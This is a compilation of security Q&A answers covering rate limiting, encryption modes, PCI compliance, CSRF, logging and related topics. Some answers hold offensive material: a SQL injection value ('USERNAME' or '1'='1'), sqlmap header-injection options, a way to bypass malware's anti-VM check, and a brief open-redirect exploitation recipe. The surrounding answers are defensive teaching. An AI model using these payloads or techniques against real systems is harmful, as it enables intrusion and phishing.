However, the webservice for creating the account has no restrictions,
  meaning an attacker could spam GET requests to it from any device to
  create any number of users they want and flood the database/server.

  My question is, how can this be avoided?

You can use a mix of CAPTCHA and IP restrictions to avoid such type of attack.

IP restrictions:

An unique IP can create a maximum of X accounts in an Y amount of time (Y seconds, or minutes, or hours, or days, etc., just you can balance the right amount).

CAPTCHA:

CAPTCHAs are commonly used in an effort to prevent automated account sign up, then you can require a CAPTCHA challenge-response to create an account.

Mix CAPTCHA and IP restrictions and you are done.

  Is there a good way to have a client-generated secret that isn't easy
  to obtain by examining source code?

I didn't understand your question.

1) If you want to protect your server just against flood, the answer is above.

2) If you want to protect the user data, so nobody can send requests to your server to get the informations of user with UUID X, you can create a random token specific to an UUID when creating the account and can store it in a encrypted database on Android.

EDIT:

See the new "No CAPTCHA reCAPTCHA”.

http://googleonlinesecurity.blogspot.com.br/2014/12/are-you-robot-introducing-no-captcha.html

Painless for your users, effective to you.


It seems that someone was just visiting my network and no other device was affected. After having resetted the NAS there are no problems anymore.
Obviously I am not using public folders anymore.


Effect of internet speed on Web App Security

Most malicious payloads that you could upload to compromise a website aren't much larger than a typical webpage. So no, intentionally giving the webserver a very slow connection won't be very effective in preventing it from getting compromised.

I wouldn't say it's completely useless though:

If the attacker tries to brute-force account passwords on the site, the server's slow connection could slow them down. BUT there are way more effective ways to accomplish rate-limiting, that don't make your site highly susceptible to a denial-of-service attack.
If the attacker tries to exfiltrate user data from an already-compromised server, a slow connection would make it take longer and increase the chance that you will notice it.

However, the slight security benefits you get are more than outweighted by the massive increase in susceptibility to denial-of-service attacks (or even periods of higher-than-normal traffic volume), and the negative impact on user experience. A per-user bandwidth limit might make sense, but intentionally giving a webserver an extremely slow connection is NOT a sensible security mechanism.


I would be cautious about masters in Computer Science, they tend to be more research oriented building on the basis of an undergrad in the field.  Not that they couldn't be helpful, but you'll want to make sure that you have a firm understanding of the material they are going to assume you know prior to starting such a program.

It would probably first be worth picking up something like a good CISSP study guide and read it.  InfoSec isn't really all that different from Security in general and while a strong technical foundation is certainly very valuable, just as much or more of the knowledge is about people and how they operate, physical security, general thinking and then some specific details about what strengths and weaknesses are of existing technical systems.

Being such a broad field, I'd recommend looking in to some of the more overview material and that will give you a better idea where your strengths and weaknesses are and then you can work from there to determine what kind of additional training you need.


Does using a MAC for encryption remove the need for PKCS7 padding with this class?

There are separate requirements for performing deterministic padding mode and providing an authentication tag.

The padding is required for ECB and CBC modes of operation. These modes only handle messages that are N times the block size in length. The standard PHP padding is not deterministic if the message may end with zero valued bytes.

The authentication tag (provided by a HMAC, for instance) is required to protect the integrity of the message and to show that it was send by the expected sender (authenticity). If integrity of the ciphertext is not validated then any attacker may send or alter messages (active attacks or man-in-the-middle attacks). This may even break confidentiality if padding oracle attacks are possible.

So you should try and use PKCS#7 compatible padding even if you provide a HMAC and especially if your messages may end with zero. The comment about "predictable plaintext positions" may be ignored; you should expect attackers to know a certain amount of information about the plaintext (such as the size of the plaintext). This is OK as long as the integrity and confidentiality has been safe-guarded.

Note that the author of the article seems to acquire quite a bit of education from the comments. The fact that the author confuses Rijndael with a block size of 256 bits (MCRYPT_RIJNDAEL_256 in PHP) with AES shows that the author doesn't know much about cryptography at all.

You should not trust this code. You need to understand cryptography before using a library or code snippet. At least try and use a well known container format if you're unsure. Anybody can apply AES. At least 90% of StackOverflow (where this question was posted before) however applies it incorrectly.


Challenges in Information security management

In my opinion the main problem is that most of the technical solutions reduce the comfort or efficiency of the users. So you have a strong organisational support from the top-level managment. You can only reach good acceptance of information security if all users understand the importance of information security.


Apparently, CMC is supported by the Red Hat Certificate System (see the documentation for the command-line tools CMCRequest, CMCEnroll, CMCResponse and CMCRevoke); and it seems to be also supported by its open-source counterpart, the Dogtag Certificate System. I am not completely savvy on the relationships between the two projects, but they are probably quite close. For instance, when someone asked how to test CMC with Dogtag, he was responded to with pointers to the Red Hat CS documentation.

I also found some very recent messages about people working on CMC support for EJBCA (but nothing complete yet).


How to mask SEPA (IBAN and BIC) information correctly?

Unlike credit card numbers, IBAN numbers are not secret. If anyone knows your bank account number, they can derive the IBAN number from it. And they would need to know your bank account number to pay you.

Similarly, BIC is not a secret either.

That being said, a bank account number and other identifying information can sometimes be used to order things, so it might be a good idea not to show more information about a bank account number / IBAN than is necessary. This is also a trade-off between user privacy and user experience.

(The example scenario would be someone out to harm you, perhaps as vengeance for something. They obtain your bank account number, some other personal info, and start ordering things in your name. Obviously this is illegal and stupid, but it's not impossible. You could undo the harm, but it would take you time and effort that you'd prefer to spent in a more pleasant way).

The account number is almost always the last numbers of the IBAN, and usually the last numbers of the account identify the different accounts that a user may have at the same bank. Depending on which countries you are operating in, showing only the last 3 or 4 digits, along with the ID of the bank, should be enough.


Are encryption algorithms designed to hinder parallelization?

In the case of a know ciphertext attack (the most likely one) the attacker would have access to the cipher text. He can make any number of copies of the cipher text now and run his bruteforce attack with multiple keys in parallel if he so chooses to.

In fact when specifically speaking of Block Ciphers (in symmetric encryption) the block cipher itself does not dictate parallelization as it always works with just one block in fact the Block Cipher or Stream Cipher "Mode" that it used can decide if the algorithm can be run in parallel on a given multi-block cipher text. For example Output Feedback "Mode" can be run in parallel for encryption but Cipher Block Chaining cannot be run in parallel. Either of these modes can be used with AES or other block ciphers that support these modes.

When it comes to asymmetric encryption like RSA or even Diffie-Hellman the idea is to never encrypt anything more than a single block in size. They are typically used to simply encrypt a symmetric key to perform more intensive encryption. So parallelization is less of a concern here.


Below is a snippet of code from ./sqlmap/lib/controller.py that defines the --level behavior:

It appears custom header injection is supported (as of just a week ago - so do a git pull):

  now it's possible to do something like this:
  --user-agent="sqlmap*"
  or
  --referer="target.com*"
  or
  --headers="User-Agent:test*\nReferer:bla"
  or
  --headers="Foo:bar*"
  or (mark with asterisk character * inside request file):
  -r request.txt
  or
  ..


GnuPG inner workings (encryption scheme, mode of operation, ciphers)

GnuPG implements the OpenPGP standard which contains most of the answers you are looking after. Namely:

Symmetric encryption uses CFB mode (with full-block feedback). Supported block ciphers are IDEA, CAST5, 3DES, Blowfish, AES and Twofish. Other algorithms may be supported in the future.
The session key is encrypted with the recipient's public key, using whatever algorithm is appropriate for the used key type. OpenPGP supports RSA and ElGamal. There is room for other algorithms but the standard mandates only these two.
Signatures use an algorithm which depends on the signer's key type; the standard describes formats for RSA and DSA. There again, there is room for other future algorithms. The hash function used with the signature algorithm can be MD5, RIPEMD-160, SHA-1, SHA-224, SHA-256, SHA-384 or SHA-512.

See section 9 for the lists of supported algorithms.

GnuPG implements most of the above; some of the algorithms may be absent, depending on how it was compiled. Most recent pre-compiled GnuPG packages will lack support for the IDEA block cipher (because it was patented until quite recently), but will include support for the block cipher Camellia in addition to the standard ones (despite the fact that Camellia is patented, but available under a royalty-free license).


Protect a software in offline envirement

Is there any solution?

No.
For there to be a complete, perfect solution, you cannot be in a situation where the licensee has full control over the whole runtime environment; for, when this happens, by definition the program can be made to run in any number of copies one desires.
Control must be taken away from the licensee, which means there need to be something they do not control. So, you can have a solution if you change your premises to include this:

obviously they cannot control an external license server (but you want to work offline)
it was believed (wrongly) that they could not control some specific characteristics or features of the hardware (disk serial numbers, MAC addresses...). Virtual environments put paid to that notion (but maybe you can do something there?)
they cannot control an embedded license server - that is, a smart key/dongle (this is another option. Keep in mind that this goes against ease of use, and often leads to a loss of customer base - would you rather have 50% licensing on 10000 customers, or 100% on one thousand?).
they cannot control the flow of time and the software's inputs both.

Any other setup will fail in a very simple way like this:

I install the software on a computer. That computer is actually a virtual machine residing on a server I control. This, by the way, is where the market is going: few, redundated physical machines with VMs that share storage and CPU resources. Requiring a software to run in an "unvirtualized environment" might soon become similar to requiring the OS to be 32 bit.
I make however many separated, isolated copies of that VM as I want. Each of them "believes" to be the original one and "sees" itself in a computer that is indistinguishable from the original, because it is.
I now have however many copies of the software as I want.

Some protection schemes try to leverage blockchain and a periodic update system to prevent the software from being "reverted" to a previous state. This way, the software can ensure that it has been running more than a specific set time or that it has processed more than a given quantity of information; when this happens, the software requires an "update" to continue running, and the "update" embeds a random public key. As a result, the update released for instance #1 of the software will not work to update any other instances, that, lacking the update, will legitimately refuse to run (and you cannot require ten updates for the two licenses you have). Thwarting this scheme is sometimes possible but typically requires a premeditated, expensive hacking effort, and therefore is usually never done; which makes this approach perhaps suitable for your purposes.
For example, a software that examines invoice information for tax optimization purposes will refuse to examine invoices dated farther in the future than 180 days from the last update. To force it to work, it would need to be fed invoices whose dates are artificially set back, then the optimization data would need to be reprocessed to bring the dates back to normal, at the risk of introducing calculation errors that could result in huge fines instead of the expected deductions. So, cracking the program is not feasible. In this case, the thing the licensee cannot (afford to) control is the program's input.
However, the larger part of the "license" battle is fought and won on licensing and software flexibility and affordability. You might... let's say "not discourage" copying, if that allows you to get new customers (this is common for those softwares that require significant customizations to reap the full benefits). Knowing you're not going to gouge the customers for additional licenses will go a long way against plans to replace your software altogether in a few months' time. Also, much depends on the customers themselves: a large firm has a strong incentive towards running a tight ship and only using fully licensed software, just in case they might get audited. The savings from pirate copies might simply not be worth it.


What is the difference between an electronic signature and a digital signature

An electronic signature is any author identification and verification mechanism used in an electronic system. This could be a scan of your real hand-written signature, or any kind of electronic authenticity stamp. It's a generic term that covers a lot of authenticity measures.

A digital signature is a type of electronic signature. It is a signature generated by a computer for a specific document, for the purposes of strong authenticity verification. For example, in asymmetric cryptography, a private key might be used to sign a hash of a document, which anyone in possession of the corresponding public key can verify but not forge. It also prevents modification of the document after the signature is generated. This allows one user to place a digital signature on a document, and many other users to verify that the signature is correct.

A digital signature scheme might work as follows:

Alice generates an asymmetric key pair (e.g. RSA)
Alice computes a cryptographic hash (e.g. SHA256) of the document.
Alice encrypts the hash using her private key.
Alice makes her public key available to anyone who wants it.
Bob downloads the document and a copy of Alice's public key.
Bob computes a cryptographic hash of the document.
Bob decrypts the signature value stored in the document using Alice's public key.
Bob compares the decrypted hash with the hash he computed. If they match, the document is authentic.

In the next scenario, Eve fails to subvert the process:

Alice publishes her public key and the signed document.
Eve downloads them, but wants to modify the document. Since Eve only has the public key, she cannot forge the signature.
Eve modifies the document anyway, and gives it to Bob.
Bob opens the document and checks that the hash matches the signature. It does not, so he knows that the document has been modified or the signature forged.

Disclaimer: IANAL - In terms of legal standing (at least in the UK, pretty sure the US too) an electronic signature, in the form of a scanned image of the signer's hand-written signature, is considered to be legally binding. However, it is often trivial to extract the signature and use it on other documents without the author's permission. In the case of a dispute, most courts require some sort of digital signature of authenticity to prove that the electronic copy of the physical signature is authentic.


Is it legal to teach about hacking and tools?

Obviously, different parts of the world have different laws, and no doubt some of the more hardline states may take a dim view of someone purposefully guiding someone on how to 'hack'.

Your question is very open and contains many variables, for example; if you could be seen as providing material support to terrorists in some western countries if the wrong person makes use of your information. (Although I am unsure of any cases when this has occurred)

Additionally, there are many tutorials and guides online on how to 'hack' that are perfectly legal and will probably never be in any threat from legal action.

The main thing to consider is not what you are writing about, but the intent of what you're writing for. If you write with a clear intent to break the law or support someone breaking the law, then you may find yourself in trouble.

Fundamentally, in most western countries it is not illegal to write about hacking tools, to develop hacking tools or to use hacking tools. As long as you don't break the law or provide support for someone else to break the law.

Have a look at the Wikipedia article on Bomb-making instructions on the internet, as there are some parallels, and it goes some way to explaining the gray area of this.


PCI compliance requirements when acting as a pass-through for credit card details

From: https://www.pcicomplianceguide.org/faq/#2

  The PCI DSS applies to ANY organization, regardless of size or number of transactions, that accepts, transmits or stores any cardholder data

As you have stated in the above, you both accept and transmit cardholder data from yourselves to the retailer, so yes, you need to be PCI compliant.


Why do you need message authentication in addition to encryption?

Encryption DOES NOT automatically protect the data against modification.

For example, let's say we have a stream cipher that is simply a PRNG (random number generator), where the key is the seed. Encryption works by generating random numbers in sequence (the keystream) and exclusing-or'ing them with the plaintext. If an attacker knows some plaintext and ciphertext bytes at a particular point, he can xor them together to recover the keystream for those bytes. From there, he can simply pick some new plaintext bytes and xor them with the keystream.

Often the attacker need not know the plaintext to achieve something. Let's take an example where an attacker simply needs to corrupt one particular field in a packet's internal data. He does not know what its value is, but he doesn't need to. Simply by replacing those bytes of ciphertext with random numbers, he has changed the plaintext.

This is particularly interesting in block ciphers where padding is used, as it opens us up to padding oracle attacks. These attacks involve tweaking ciphertext in a way that alters the padding string, and observing the result. Other attacks such as BEAST and the Lucky Thirteen Attack involve modification of ciphertext in a similar way. These tend to rely on the fact that some implementations blindly decrypt data before performing any kind of integrity checks.

Additionally, it may be possible to re-send an encrypted packet, which might cause some behaviour on the client or server. An example of this might be a command to toggle the enabled state of the firewall. This is called a replay attack, and encryption on its own will not protect against it. In fact, integrity checks often don't fix this problem either.

There are, in fact, three primary properties that are desirable in a secure communications scheme:

Confidentiality - The ability to prevent eavesdroppers from discovering the plaintext message, or information about the plaintext message (e.g. hamming weight).
Integrity - The ability to prevent an active attacker from modifying the message without the legitimate users noticing. This is usually provided via a Message Integrity Code (MIC).
Authenticity - The ability to prove that a message was generated by a particular party, and prevent forgery of new messages. This is usually provided via a Message Authentication Code (MAC). Note that authenticity automatically implies integrity.

The fact that the MAC and MIC can be provided by a single appropriately chosen HMAC hash scheme (sometimes called a MAIC) in certain circumstances is completely incidental. The semantic difference between integrity and authenticity is a real one, in that you can have integrity without authenticity, and such a system may still present problems.

The real distinction between integrity and authenticity is a tricky one to define, as Thomas Pornin pointed out to me in chat:

  There's a tricky definition point there. Integrity is that you get the "right data", but according to what notion of "right" ? How comes the data from the attacker is not "right" ? If you answer "because that's from the attacker, not from the right client" then you are doing authentication...

It's a bit of a grey-area, but either way we can all agree that authentication is important.

An alternative to using a separate MAC / MIC is to use an authenticated block cipher mode, such as Gallois/Counter Mode (GCM) or EAX mode.


Your scheme is problematic from a UX and Security standpoint.

Bad UX, If implemented properly a user who logs in on their phone will immediately be logged out on their computer, or whatever. There are several other problematic cases where users who shouldn't be logged out are logged out. That's not horrible, but depending on the use of your application is can be really annoying

Security - First, your code is vulnerable to SQL injection.

$sql = "UPDATE Users SET logged='no' WHERE username='" . $_SESSION['username'] ."'";

My username is USERNAME' or '1'='1

If this is allowed in your username policy, an attacker can force log off of all users (or whatever other SQL they want). Use parameterized queries or if you're stubborn, fix your password policy.

Finally UserAgent checks are probably not super effective. User Agent strings are not super unique. For example, if your website has 1million users get their session hijacked, the attacker will probably be using the same browser as a pretty large portion of them (without even trying to bypass your security solution).

To answer your actual question,  session_unset() or session_destroy() will do what you want, but only after you call session_start().


Can setting the date on your iPhone to the epoch really brick it?

It's real, sadly. From Wired article:

  The bug appears to only affect 64-bit iOS devices, meaning iPhone 5S, iPad Air, and iPad Mini 2 and newer are affected. It’s almost certainly related to the same Unix glitch that caused Facebook to wish people a happy 46 years on the service; the date 1/1/70 has an internal value of zero on a Unix system, which in this case is leading to a software freakout.


They can auto infect any USB stick you plug in. There's even ones that hide in the firmware of the stick and jump over without you knowing.


Why refresh CSRF token per form request?

For the reasons already discussed, it is not necessary to generate a new token per request. It brings almost zero security advantage, and it costs you in terms of usability: with only one token valid at once, the user will not be able to navigate the webapp normally. For example if they hit the 'back' button and submit the form with new values, the submission will fail, and likely greet them with some hostile error message. If they try to open a resource in a second tab, they'll find the session randomly breaks in one or both tabs. It is usually not worth maiming your application's usability to satisfy this pointless requirement.

There is one place where it is worth issuing a new CSRF token, though: on principal-change inside a session. That is, primarily, at login. This is to prevent a session fixation attack leading to a CSRF attack possibility.

For example: attacker accesses the site and generates a new session. They take the session ID and inject it into a victim's browser (eg via writing cookie from a vulnerable neighbour domain, or using another vulnerability like jsessionid URLs), and also inject the CSRF token into a form in the victim's browser. They wait for the victim to log in with that form, and then use another form post to get the victim to perform an action with the still-live CSRF token.

To prevent this, invalidate the CSRF token and issue a new one in the places (like login) that you're already doing the same to the session ID to prevent session fixation attacks.


This seems to be something in the browser itself (assuming that's the program used to view the webpages in, and not some embedded view).  This can be a number of sources:

spyware
malicious browser plugin (extension, theme, searchbar, ....)
JS loaded from malicious domain (either through proxy or DNS)

For 1 & 2, there's many options available since it appears to be client based.  For 3, say a website (www.safe.com) includes a javascript from a 3rd party (say, google-analytics.com).  A rogue DNS or proxy server/process/... can intercept all there HTTP requests, and inject JavaScript itself.  This JS can be used to alter the DOM as you can see in your example.

A possible solution would be to include the HTTPS equivalents of the scripts.  From a direct client point of view, plugins such as noscript and so on would work well, although they might break some functionality in JS loaded web apps.


confused: computer security & software development career tracks

Computer security is a very broad field, and software security is as least as important as hardware and infrastructure security.

When developing software, best practice is to design security in from the start and approximately 20% of total project cost many be spent on security.

To answer your question "can I be a security architect if i'm software developer?" definitely, in fact it is highly unlikely taht you would be employed for software security if you did not understand programming.

  i like computer security & wanna be security architect. I googled it &
  saw that the start point is to be system administrator.

This is certainly not the only starting point, a masters degree in computer security would be a great first step.


Is my server safe from remote hackers if I only allow 1 port and 1 service behind it which only hashs incoming bytes stream & send the hash key back?

No. The question is not the number of open ports but which services are behind these ports and the security of these services. Thus, it is sufficient for an attacker if there is only one open port which one service but this service is exploitable.


PCI-DSS for Financial Institutions and Issuer

As a card issuer your requirement for compliance will come from the rules of the card scheme (i.e. Visa or Mastercard). I mostly know Visa Europe's rules but understand that Mastercard's rules are pretty similar. So to answer your specific questions:

Q1. It depends on your contract with the card scheme, often issuers do not have to validate their compliance to the card scheme (i.e. they are not required to send the card scheme a RoC or SAQ on an annual basis), but they are contractually obliged to comply with PCI DSS and other PCI standards applicable to card issuers. Some issuers choose to have an annual external assessment and keep the RoC on file in case the card scheme asks for evidence that the issuer is compliant.

Q2. Again it depends on your contract with the scheme. If the FI is wholly outsourced (ie there is no cardholder data anywhere in the institution) then it could use the requirements from SAQ-A in a partial RoC - there is a FAQ on the PCI SSC website about this:
https://pcissc.secure.force.com/faq/articles/Frequently_Asked_Question/Can-a-partial-PCI-DSS-assessment-be-documented-in-a-Report-on-Compliance-ROC

Q3. Typically the card scheme has an approved list of suppliers that issuers are permitted to use - you should check the scheme's rules and then their list - e.g. Visa Inc has a 'Member Issuer Processor Program'.

However, despite a provider being listed by a card scheme, you have complete responsibility for ensuring the third party's compliance with PCI DSS on an annual basis (all the 12.8 requirements apply), and as your compliance is wholly dependent on the third party this is your main responsibility.

Finally, if you are in Europe, Visa Europe has produced specific guidance for issuers that you can get from Visa Europe.


Is disk encryption (e. g. LUKS) reversed when having an encrypted disk image inside an encrypted partition with the same encryption password?

No. LUKS uses cryptography the right way so this isn't a risk. What you describe would only be a problem if both encryption layers did something really dumb, like both being naked AES-CTR with an unsalted hash of the password as the key.


How can the Google web crawler bypass portals?

I some times get the illusion that GoogleBot has special access to the directory structure but that doesn't mean that there is a loophole or a vulnerability.

Some of the reasons for that illusion:

The links might be from outside of the website. I can post on my blog a link to a Pastebin that is not listed anywhere on pastebin.com.
The pages that had the links to your documents might have been deleted or hidden but Google still has the link to the file.
The sitemap file can have a list of links to the files on that website.
The owner of the website can use Google Webmaster Tools and load a list of links on the website.
Something that is almost but not quite a vulnerability is that GoogleBot decompiles flash resources and indexes text and links found there.
It can also execute JavaScript and parse Ajax content.
There is a new Googlebot user agent that looks for mobile content. The mobile interface can be missconfigured to show more information and have more access than the classic one.
As others commented, websites can provide more or different details when the visiting IP or user agent indicates Googlebot. This is called clocking and is not tolerated by Google or any other search engine.

Googlebot has simple rules, it follows links and respects the robots.txt file and the nofollow tag. It indexes information that has to be accessible to Google's users and not break the security or privacy of the crawled websites. If there is anything that indicates otherwise, then I suspect there is a website missconfiguration rather than Googlebot malice or magic.


Server full disk encryption protection from malware

If the malware is copying the files after they have been written to the disk and without requesting the files through the filesystem (which will decrypt them), encryption will protect them.

If the malware is intercepting the files before they are written to disk or is accessing them through the filesystem encryption will not help.

Encryption only protects against someone accessing the data without going through your OS (eg. removing the physical disk and attaching it to their machine).


Are there any tell-tale signs of self-hacking?

The only reliable evidence of an internal person attacking your systems is if you catch them with their fingers on the keyboard.

People often suspect insiders because they have spent an extraordinary amount of money building extremely sophisticated defenses, and they simply cannot imagine a hacker being able to navigate them.  They have grandiose releasing processes that assure that only code that has passed through QA will be released into production.  They have firewalls blocking attackers, NDIS scanners looking for attacks, anti-virus tools at all the endpoints, and DLP tools to watch for data exfiltration activities.  They have all the right processes, best practices, projects, plans, spreadsheets, audits, and endless checklists.

Meanwhile, the hacker doesn't know about any of this stuff.  They simply exploit a hole, and escalate their privileges; then laterally move about the network using stolen credentials appearing like any other legitimate user.  Eventually they find their way to a machine that contains valuable information.  They either use customized, modified tools that don't trigger AV or NDIS scanners, or they use the OS's own tools already present on the victim's machines.  Once they find the data they're looking for, they encode their stolen goods to avoid DLP tools, camouflage it to make it look like ordinary traffic, and ship it out.

When you've invested so much in building a security system that appears formidable, it's hard to believe that the attacker can be anything but an insider.  Instead of leaping to the assumption that it's an inside job, it's your duty to keep digging until you find the actual trail.

Your best bets are going to be searching through independent logging servers, ones where the attacker may not have had access to corrupt the logs.  Once you've identified the credentials, track back to the machines where those credentials were used, looking for the evidence of the attack.  Router, NDIS, or firewall logs are also going to be helpful.


Why has the NSA had a hand in deciding on encryption standards?

The NSA is a composite organization, that comprises several sub-entities called "directorates" with various scopes and goals. The NSA, as a whole, is supposed to have a multitude of roles; its signal intelligence role (often abbreviated as SIGINT, i.e. spying) is the one most people talk about, and is supposed to be handled by the SID (as "Signal Intelligence Directorate"). However, NSA is also supposed to ensure the information safety of US interests, and as such should help federal organizations and also big US private companies apply proper encryption, where encryption is needed. This defensive role falls largely within the scope of the IAD (Information Assurance Directorate).

It is true that within the NSA, the balance of power substantially shifted towards SID after September 2001, but they still maintain a non-negligible defensive role. In any case, both DES and AES were standardized before that date.

In the USA, federal standards are edited and published by a specific agency called NIST. NIST is not the NSA. However, when the NIST people deal with some cryptographic algorithms, they like to get inputs from the NSA because that's where the US government keeps its crypto-aware thinkers. The NSA itself likes to be consulted by NIST because they want to keep track of published cryptographic algorithms, both for attacking and defending (they want to know what algorithms they will be faced with when trying to eavesdrop, and they also want to know what algorithms they should advise big US companies to use to thwart foreign evildoers).

On that subject, you may want to read this article which is about elliptic curves and "post-quantum crypto", and what the NSA says and thinks about it. It highlights that NSA is, first and foremost, a big governmental organization, and thus tends to behave like big governmental organizations do; in particular, some or even most of its actions are related to its own internal politics.

There is quite a gap between "being involved" and "having a part". According to Don Coppersmith (one of the DES designers), the NSA, at some point, interacted with the IBM team, under the avowed goal to strengthen the algorithm. The NSA, at that time, still employed a substantial proportion of available cryptographers (this is no longer true), and had some knowledge of an as yet unpublished attack method, namely differential cryptanalysis. The NSA wanted to make sure that the new algorithm would resist such attacks. It turned out that the IBM team had also conceived the idea of differential cryptanalysis, and had already strengthened their design against it. So the NSA involvement reduced to asking the IBM researchers not to publish their findings.

(As Leibniz would have put it, scientific discoveries are floating in the air, and when you have a new idea, chances are that several other people have the same idea at the same time. It is thus pretty hard to keep ahead of the rest of the World in scientific areas.)

For the AES standardization process, NIST deliberately organized the whole competition as being very open; submitters were encouraged and even requested to publish all design criteria of their candidates. While one cannot logically preclude the possibility of bribery to inject a backdoor in one candidate, because it is very hard to prove a negative (that's the point about conspiracy theories: they cannot be rationally denied because they are beyond logic), most candidates, including the one finally chosen (Rijndael), had all their design elements fully explained, with no undisclosed dark area. Thus, NSA input in that matter was mostly a statement that they found nothing wrong with any candidate.

(Cryptographers are also human beings and, as such, may occasionally indulge in gossip. At that time, the gut feeling of most of them was that if there was an NSA-sponsored candidate, then it was MARS, mostly because that was Don Coppersmith and IBM again. In any case, that algorithm was not very popular because it was overly complex and hard to fathom. Rijndael's structure was a lot more simpler.)


The CPUID returned value need to be store somewhere before being check against some known virtualization CPUID value.

It's hard to change your "hardware" sandbox CPUID value, but you can always fool the malware by editing the CPUID that your system is returning.

In a disassembler, try to locate where the cpuid instruction is used.
You should see something like:

 xor    eax, eax
 mov    eax,0x40000000
 cpuid
 cmp ecx,0x4D566572
 jne <somewhere_else>

The cpuid syscall description is the following:

  Returns processor identification and feature information to the EAX, EBX, ECX, and EDX registers, according to the input value entered initially in the EAX register.

In the above code snippet, the cpuid instruction is initialize with the AEX argument = "0x40000000", witch will ask to return the "Hypervisor brand" of your system.

Then, after the cpuid syscall, the ECX register's value is checked against "0x4D566572", which is a VMware related CPUID value.

In order to bypass this verification, set a breakpoint right after the cpuid instruction, and edit the registers as you want in to simulate a "non-virtual" environment.

You can also patch the malicious binary by replacing the cpuid code by some NOPs. This will completely remove the cpuid check.

Or you can edit the conditional jump that follow the cpuid value comparison, and make it useless.


Securing IPC between kernel and user-mode application

If the service doesn't need to run as any specific user, it should run as its own user or, more accurately, as a service account, potentially a virtual account. Unlike user accounts, service accounts don't need the permission to log into the machine except as a service, but otherwise are broadly similar; you can define access control entries for them in any ACL (including on driver objects), they can have their own private locations in the file system and private registry hive, etc.

There are three built-in service accounts on Windows, though you can also create your own (either through a domain controller or locally). The built-in ones - which are used widely both by services that come with Windows and by third-party services - are Local Service, Network Service, and LocalSystem (pretty sure they aren't case-sensitive; I've seen it written as LOCALSYSTEM and such too). The first two have privileges similar to (but not quite the same as) a normal user account. The last has every privilege a process can have, including some that even the built-in Administrator account doesn't get by default. Of course, these are shared accounts; if a service running in one of these accounts is malicious or gets compromised, it can see and do anything that any other service in that account could see or do.

Virtual accounts are intended to be more convenient than custom-made service accounts, but provide similar levels of security. You don't create or manage passwords for them, don't need to manually create them or set them up for service login, and in general they are supposed to "just work". They are only available on Win7 / Server 2008 R2 or later, though. Starting with Vista / Server 2008, every single service automatically has a unique security identity (SID) that is distinct from other SIDs (such as for users, computers, integrity levels, AppContainer capabilities, etc.). This service SID is based on the name of the service (the actual service name, not the display name; it is in fact possible to get the service SID for a service that doesn't even exist, if you know what it'd be called). In Win7 and later, it is possible for a service to use this SID as a "virtual account" (the service "logs in" to an account named NT SERVICE\<servicename>, as opposed to Local Service or similar).

In the scenario you describe, I would recommend setting the ACL (using SDDL, via whatever framework you're using to create the driver) on the driver's device object so that only NT SERVICE\<servicename> (and possibly the localsystem account, which can override or ignore ACLs anyhow) can access the device. This will work whether or not the service is "logging in" using that virtual account; it will have that SID regardless (a process' security token can - and almost always does - have multiple SIDs). Adding an additional check of getting the calling process' user and comparing it to the expected service account (virtual or otherwise) probably won't do any harm, but shouldn't be necessary (though be sure to write tests, including "negative" tests that are supposed to fail with Access Denied errors!)


How to exploit open redirect vulnerability which must contain the original url

Get your own domain (I'll use attacker.com as an example). Create the subdomain sub.domain.com.attacker.com. Setup sub.domain.com.attacker.com to redirect to wherever you really want to redirect the user to. Done.


Yes, failed login attempts should be logged:

You want to know when people are trying to get in
You want to understand why your accounts are getting locked out

It's also very important - older Windows logging process never emphasized this enough - to log successful login attempts as well.  Because if you have a string of failed login attempts, you really really really should know if the last one was followed by a successful login.

Logs are relatively small.  If there was enough login attempts that logging would cause a problem, then "not knowing about the attempts" is probably a worse-case problem than "found out about them when we ran out of disk."

A quick caveat - as @Polynomial points out, the password should not be logged (I seem to recall that 25 years ago some systems still did that).  However, you also need to be aware that some legitimate login attempts will fail when people enter their password into the username field, so passwords do get logged.  Doubt me?  Trawl your logs for Windows Event ID 4768:

LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=dc.test.int
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=1175382241
Keywords=Audit Failure
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:       gowenfawr-has-a-cool-password
    Supplied Realm Name:    TEST.INT
    User ID:            NULL SID

Correspondingly, you should limit access to these logs to the necessary people - don't just dump them into a SIEM that the whole company has read access to.

Update to address question edit:

  Based on the answers so far, one other question that occurred to me is
  whether web server logs would be enough for logging such attempts.
  Would it be redundant to log them in the database?

Best practices are that logs should be forwarded to a separate log aggregator in any case - for example, consider PCI DSS 10.5.4.  In practice, such an aggregator is usually a SIEM, and functions like a database rather than flat log files.

So, yes, it's "redundant" by definition, but it's the kind of redundancy that's a security feature, not an architectural mistake.

The advantages of logging them into a database include searching, correlation, and summation.   For example, the following Splunk search:

source="/var/log/secure" | regex _raw="authentication failure;" | stats count by user,host

Will allow us to roll up authentication failures by user and host:

Note that the ability to query discrete fields like 'user' and 'host' is dependent upon the SIEM picking logs apart and understanding what means what.  The accessibility of those fields here is a side effect of Splunk automagically parsing the logs for me.

Given that your original question dealt with space constraints, it should be pointed out that any database or SIEM solution is going to take more disk space than flat text file logs.  However, if you use such a solution, you'll almost always put it on a separate server for security and space management reasons.  (There are even SIEM-in-the-cloud solutions now to make life easier for you!)


How to prevent TLS downgrade on client side?

For chrome major version 69 the --ssl-version-min=tls1.2 flag was not effective.  Upon updating to major version 70 this flag is working as expected.

Additionally, the following registry key should also work:

HKLM\Software\Policies\Google\Chrome\SSLVersionMin == "tls1.2"


Norton Security blocked "Fake Tech Support Website" within router?

The description is likely misleading and confusing.

Looking for this kind of problem on the internet suggests that a response to a DNS request originating from your local system was blocked, since the content of the response suggested that you've tried to visit some "Fake Tech Support Site". This might not have been a deliberate choice by you but might implicitly originate from some advertisement included in a page you've visited.

Your system is likely configured to use the router as DNS server (common setup). That's why the response to the DNS query comes also from your router. But it is not that your router is attacking your system, all it does is respond to the DNS query you've send. Only that the contents of the response indicates that your browser tried to access some malicious site.


After looking through mimikatz GitHub issues, I found the same question asked. Apparently, Windows hide the master key (and other system) files.


Authentication of an indefinite number of technicians in an offline scenario

You can use PKI, each technician will own a private key and a Certificate Authority shall issue each technician with a Certificate that authorizes anyone who can demonstrate possession of the corresponding private key access to the device for the specified amount of time. The device checks for access privilege by checking the signature of the certificate against the CA's Root Certificate, its expiry date, and the certificate attributes that describes the level of access that the technician has been granted. This allows the device to recognize new technicians while remaining offline.

